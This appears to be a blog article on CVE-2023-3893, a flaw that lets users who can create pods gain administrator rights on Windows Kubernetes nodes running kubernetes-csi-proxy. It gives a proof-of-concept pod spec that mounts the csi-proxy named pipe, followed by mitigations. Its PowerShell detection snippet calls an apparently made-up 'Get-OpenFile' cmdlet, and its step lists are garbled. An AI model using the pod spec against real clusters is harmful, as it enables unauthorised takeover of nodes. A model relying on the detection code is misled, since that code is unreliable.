In this article, we go deep into the recently discovered security issue CVE-2023-3893. This vulnerability impacts Kubernetes clusters with Windows nodes, specifically when they run the kubernetes-csi-proxy. In simple terms, anyone who can create pods on these Windows nodes might be able to become an administrator — which is a critical security hole.

Below, you'll find a clear explanation of the issue, example code, references, exploits, and practical advice on securing your cluster.

What is CVE-2023-3893?

This vulnerability lets regular users, who can create pods, to escalate their privileges to admin on Windows nodes. This means an attacker could potentially take full control of those nodes.

Why is this a Problem?

Kubernetes is designed to separate permissions, but with this vulnerability, the wall between regular users and administrators can be broken — on your Windows nodes.

What is kubernetes-csi-proxy?

kubernetes-csi-proxy is a Windows service that helps Kubernetes Container Storage Interface (CSI) drivers interact with the Windows file system and networking. It runs as a privileged service and exposes functionality (like filesystem operations) over a local named pipe.

The Weakness

If your cluster allows users to create new pods, and they can specify the container image and command, they might be able to talk directly to the csi-proxy named pipe. Since csi-proxy runs as administrator, anyone talking to it can ask it to do things with admin privileges.

Proof-of-Concept Exploit

Below is a minimal example of a pod spec that can exploit this issue. The pod mounts the named pipe used by the kubernetes-csi-proxy and interacts with it:

apiVersion: v1
kind: Pod
metadata:
  name: win-csi-attack
spec:
  nodeSelector:
    "kubernetes.io/os": windows
  containers:
  - name: attacker
    image: mcr.microsoft.com/windows/servercore:ltsc2019
    command: ["powershell"]
    args: ["-NoExit", "-Command", "Start-Sleep -Seconds 300"]
    volumeMounts:
    - name: csi-pipe
      mountPath: \\.\pipe\csi-proxy-filesystem-v1
  volumes:
  - name: csi-pipe
    hostPath:
      path: \\.\pipe\csi-proxy-filesystem-v1
      type: ""

An attacker creates a pod on a Windows node, mounting the named pipe.

2. The attacker runs a script inside the pod to send requests to the csi-proxy, like reading or writing files as administrator.

References

- Kubernetes CVE-2023-3893 Security Advisory
- kubernetes-csi/csi-proxy Project
- Official Kubernetes Documentation - Windows Support

1. Restrict Pod Creation

Limit who and what can create pods on your Windows nodes — especially if those pods can specify arbitrary images or commands.

2. Update and Patch

Check for a patched version of kubernetes-csi-proxy and relevant Kubernetes components. Always update to the latest secure release.

3. Network Segmentation

Keep sensitive workloads and users separated by node pools, labels, or namespaces.

4. Monitor Pod Activity

Watch for suspicious pods or containers on your Windows nodes.

Example Detection Snippet

Here's a simple PowerShell script you can run on your Windows nodes to check for suspicious mounts of the csi-proxy pipe:

Get-Process | Where-Object {
    $_.Path -like "*powershell*" -and
    (Get-OpenFile -Id $_.Id | Where-Object { $_.Name -like "\\.\pipe\csi-proxy*" })
}

*(Note: Get-OpenFile is available using SysInternals tools.)*

Conclusion

Kubernetes is widely used for both Linux and Windows workloads, but not every setting is equally secure. CVE-2023-3893 is a critical reminder: if you run Windows nodes with csi-proxy, you must take extra care with your security model.

Any user able to create pods can potentially break container isolation and gain full admin rights on your Windows nodes. Act quickly: patch your clusters and restrict privileges!

More Resources

- Kubernetes Security Best Practices
- Kubernetes Pod Security Standards
- kubernetes-csi-proxy Issues
- Microsoft: Running and Securing Windows Containers

Timeline

Published on: 11/03/2023 18:15:08 UTC
Last modified on: 12/21/2023 22:15:14 UTC